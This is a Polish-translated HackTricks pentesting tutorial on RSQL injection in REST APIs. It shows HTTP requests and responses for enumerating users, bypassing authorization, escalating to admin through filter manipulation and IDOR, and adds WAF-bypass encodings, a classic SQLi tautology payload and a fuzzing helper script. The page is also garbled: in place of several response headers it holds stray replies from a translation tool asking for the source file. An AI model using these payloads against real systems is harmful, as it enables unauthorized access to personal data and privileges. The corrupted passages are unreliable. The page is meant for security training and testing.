RSQL Injection

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym jest RSQL?

RSQL to język zapytań zaprojektowany do parametryzowanego filtrowania wejść w RESTful APIs. Oparty na FIQL (Feed Item Query Language), pierwotnie określonym przez Mark Nottingham do zapytań do kanałów Atom, RSQL wyróżnia się prostotą i możliwością wyrażania złożonych zapytań w zwartej i zgodnej z URI formie przez HTTP. Dzięki temu jest doskonałym wyborem jako ogólny język zapytań do wyszukiwania na endpointach REST.

Przegląd

RSQL Injection to podatność w aplikacjach webowych, które używają RSQL jako języka zapytań w RESTful APIs. Podobnie do SQL Injection i LDAP Injection, ta podatność pojawia się, gdy filtry RSQL nie są prawidłowo oczyszczane (sanitizowane), pozwalając atakującemu na wstrzyknięcie złośliwych zapytań w celu uzyskania dostępu, modyfikacji lub usunięcia danych bez autoryzacji.

Jak to działa?

RSQL pozwala budować zaawansowane zapytania w RESTful APIs, na przykład:

/products?filter=price>100;category==electronics

To przekłada się na zapytanie strukturalne, które filtruje produkty o cenie większej niż 100 i kategorii „elektronika”.

Jeśli aplikacja nieprawidłowo waliduje dane wejściowe od użytkownika, atakujący może zmanipulować filtr, aby wykonać nieoczekiwane zapytania, takie jak:

/products?filter=id=in=(1,2,3);delete_all==true

A nawet wykorzystać to do wydobycia poufnych informacji przy użyciu Boolean queries lub nested subqueries.

Ryzyka

  • Ujawnienie danych wrażliwych: Atakujący może pobrać informacje, które nie powinny być dostępne.
  • Modyfikacja lub usunięcie danych: Wstrzyknięcie filtrów, które zmieniają rekordy w bazie danych.
  • Podniesienie uprawnień: Manipulacja identyfikatorami, które przyznają role przez filtry, w celu oszukania aplikacji i uzyskania dostępu z uprawnieniami innych użytkowników.
  • Omijanie kontroli dostępu: Manipulacja filtrami w celu uzyskania dostępu do zastrzeżonych danych.
  • Podszywanie się lub IDOR: Modyfikacja identyfikatorów pomiędzy użytkownikami przez filtry, które umożliwiają dostęp do informacji i zasobów innych użytkowników bez prawidłowego uwierzytelnienia jako oni.

Obsługiwane operatory RSQL

OperatorOpisPrzykład
; / andLogiczny AND operator. Filtruje wiersze, gdzie oba warunki są prawdziwe/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orLogiczny OR operator. Filtruje wiersze, gdzie przynajmniej jeden warunek jest prawdziwy/api/v2/myTable?q=columnA==valueA,columnB==valueB
==Wykonuje zapytanie equals. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA dokładnie równają się queryValue/api/v2/myTable?q=columnA==queryValue
=q=Wykonuje zapytanie search. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA zawierają queryValue/api/v2/myTable?q=columnA=q=queryValue
=like=Wykonuje zapytanie like. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są podobne do queryValue/api/v2/myTable?q=columnA=like=queryValue
=in=Wykonuje zapytanie in. Zwraca wszystkie wiersze z myTable, gdzie columnA zawiera valueA LUB valueB/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=Wykonuje zapytanie exclude. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA nie są ani valueA ani valueB/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=Wykonuje zapytanie not equals. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA nie rówają się queryValue/api/v2/myTable?q=columnA!=queryValue
=notlike=Wykonuje zapytanie not like. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA nie są podobne do queryValue/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=Wykonuje zapytanie mniejsze niż. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są mniejsze niż queryValue/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=Wykonuje zapytanie mniejsze niż lub równe. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są mniejsze lub równe queryValue/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=Wykonuje zapytanie większe niż. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są większe niż queryValue/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=Wykonuje zapytanie równe lub większe niż. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są równe lub większe niż queryValue/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=Wykonuje zapytanie from to. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są większe lub równe fromValue i mniejsze lub równe toValue/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Uwaga: Tabela oparta na informacjach z MOLGENIS oraz rsql-parser.

Przykłady

  • name==“Kill Bill”;year=gt=2003
  • name==“Kill Bill” and year>2003
  • genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Uwaga: Tabela oparta na informacjach z rsql-parser.

Typowe filtry

Te filtry pomagają doprecyzować zapytania w API:

FilterOpisPrzykład
filter[users]Filtruje wyniki według konkretnych użytkowników/api/v2/myTable?filter[users]=123
filter[status]Filtruje według statusu (aktywny/nieaktywny, zakończony itp.)/api/v2/orders?filter[status]=active
filter[date]Filtruje wyniki w obrębie zakresu dat/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]Filtruje według kategorii lub typu zasobu/api/v2/products?filter[category]=electronics
filter[id]Filtruje według unikalnego identyfikatora/api/v2/posts?filter[id]=42

Typowe parametry

Te parametry pomagają optymalizować odpowiedzi API:

ParametrOpisPrzykład
includeDołącza powiązane zasoby w odpowiedzi/api/v2/orders?include=customer,items
sortSortuje wyniki rosnąco lub malejąco/api/v2/users?sort=-created_at
page[size]Kontroluje liczbę wyników na stronę/api/v2/products?page[size]=10
page[number]Określa numer strony/api/v2/products?page[number]=2
fields[resource]Definiuje, które pola zwrócić w odpowiedzi/api/v2/users?fields[users]=id,name,email
searchWykonuje bardziej elastyczne wyszukiwanie/api/v2/posts?search=technology

Ujawnianie informacji i enumeracja użytkowników

Poniższe żądanie pokazuje endpoint rejestracji, który wymaga parametru email, aby sprawdzić, czy istnieje użytkownik z tym emailem i zwrócić true lub false w zależności od tego, czy istnieje w bazie danych:

Żądanie

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odpowiedź

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Chociaż oczekiwany jest endpoint /api/registrations?email=<emailAccount>, możliwe jest użycie filtrów RSQL, aby spróbować enumerate i/lub extract danych użytkownika za pomocą specjalnych operatorów:

Żądanie

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Nie otrzymałem zawartości pliku src/pentesting-web/rsql-injection.md. Proszę wklej treść (markdown) tego pliku — wtedy przetłumaczę ją na polski, zachowując dokładnie tę samą składnię markdown/html i niewymawialne elementy (linki, ścieżki, tagi).

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

W przypadku dopasowania prawidłowego konta e-mail aplikacja zwróciłaby informacje o użytkowniku zamiast klasycznego “true”, “1” lub czegokolwiek innego w odpowiedzi wysyłanej do serwera:

Żądanie

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Poproszę o wklejenie zawartości pliku src/pentesting-web/rsql-injection.md, który chcesz przetłumaczyć. Zachowam dokładnie oryginalne tagi/ścieżki/markdown i przetłumaczę tylko odpowiedni tekst na polski.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Authorization evasion

W tym scenariuszu zaczynamy jako użytkownik z rolą podstawową, który nie posiada uprawnień uprzywilejowanych (np. administrator) umożliwiających dostęp do listy wszystkich użytkowników zarejestrowanych w bazie danych:

Żądanie

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Nie widzę treści pliku. Proszę wklej zawartość pliku src/pentesting-web/rsql-injection.md (albo wyślij ją w częściach), a przetłumaczę ją na polski zgodnie z wytycznymi.

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Ponownie korzystamy z filtrów i specjalnych operatorów, które pozwolą nam alternatywnie uzyskać informacje o users i obejść kontrolę dostępu. Na przykład przefiltruj tych users, którzy zawierają literę “a” w swoim user ID:

Żądanie

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Nie otrzymałem treści do przetłumaczenia. Proszę wklej zawartość pliku src/pentesting-web/rsql-injection.md, a przetłumaczę ją na polski zgodnie z podanymi wytycznymi.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Privilege Escalation

Bardzo prawdopodobne jest znalezienie niektórych endpointów, które sprawdzają uprawnienia użytkownika na podstawie jego roli. Na przykład mamy do czynienia z użytkownikiem, który nie ma żadnych uprawnień:

Żądanie

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odpowiedź

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

Używając określonych operatorów mogliśmy wyenumerować użytkowników z uprawnieniami administratora:

Request

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odpowiedź

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Po poznaniu identyfikatora użytkownika administratora możliwe byłoby wykorzystanie eskalacji uprawnień przez zastąpienie lub dodanie odpowiedniego filtra z identyfikatorem administratora i uzyskanie tych samych uprawnień:

Request

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Proszę wklej zawartość pliku src/pentesting-web/rsql-injection.md (lub fragment, który chcesz przetłumaczyć). Przetłumaczę tekst angielski na polski, zachowując dokładnie oryginalne znaczniki markdown/HTML, linki, ścieżki i tagi.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}

Impersonate or Insecure Direct Object References (IDOR)

W dodatku do użycia parametru filter, można użyć innych parametrów, takich jak include, które pozwalają uwzględnić w wyniku określone pola (np. język, kraj, hasło…).

W poniższym przykładzie pokazane są informacje z naszego profilu użytkownika:

Żądanie

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Nie otrzymałem treści do przetłumaczenia. Proszę wklej zawartość pliku src/pentesting-web/rsql-injection.md, abym mógł ją przetłumaczyć na polski.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Kombinacja filtrów może być użyta do ominięcia kontroli autoryzacji i uzyskania dostępu do profili innych użytkowników:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Nie widzę treści do przetłumaczenia. Proszę wklej zawartość pliku src/pentesting-web/rsql-injection.md, a przetłumaczę ją na polski zachowując oryginalny markdown i znaczniki.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Wykrywanie & fuzzing — szybkie wskazówki

  • Sprawdź obsługę RSQL, wysyłając nieszkodliwe sondy takie jak ?filter=id==test, ?q==test lub nieprawidłowe operatory =foo=; verbose APIs często leak parser errors (“Unknown operator” / “Unknown property”).
  • Wiele implementacji parsuje parametry URL dwukrotnie; spróbuj podwójnego kodowania (, ), *, ; (np. %2528admin%2529) aby obejść naiwne blocklisty i WAFs.
  • Boolean exfil z wildcardami: filter[users]=email==*%@example.com;status==ACTIVE i odwracaj logikę za pomocą , (OR) porównując rozmiary odpowiedzi.
  • Range/proximity leaks: filter[users]=createdAt=rng=(2024-01-01,2025-01-01) szybko enumeruje po latach bez znajomości dokładnych ID.

Framework-specific abuse (Elide / JPA Specification / JSON:API)

  • Elide i wiele projektów Spring Data REST tłumaczy RSQL bezpośrednio na JPA Criteria. Gdy deweloperzy dodają niestandardowe operatory (np. =ilike=) i budują predykaty przez konkatenację łańcuchów zamiast używać prepared parameters, można pivotować do SQLi (klasyczny payload: name=ilike='%%' OR 1=1--').
  • Elide analytic data store akceptuje parameterized columns; łączenie user-controlled analytic params z RSQL filters było główną przyczyną SQLi w CVE-2022-24827. Nawet jeśli poprawione wersje parametryzują poprawnie, podobny bespoke kod często pozostaje — szukaj @JoinFilter/@ReadPermission SpEL expressions zawierających ${} i spróbuj wstrzyknąć ';sleep(5);' lub tautologie logiczne.
  • JSON:API backendy często eksponują zarówno include jak i filter. Filtrowanie powiązanych zasobów filter[orders]=customer.email==*admin* może ominąć top-level ACLs, ponieważ relation-level filters wykonują się przed ownership checks.

Automation helpers

  • rsql-parser CLI (Java): java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE" waliduje payloady lokalnie i pokazuje abstract syntax tree — przydatne do tworzenia zbalansowanych nawiasów i niestandardowych operatorów.
  • Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
  • Użyj razem z HTTP fuzzer (ffuf, turbo-intruder), iterując po pozycjach wildcard *a*, *e*, itd., wewnątrz list =in=, aby szybko odkryć ID i adresy e-mail.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks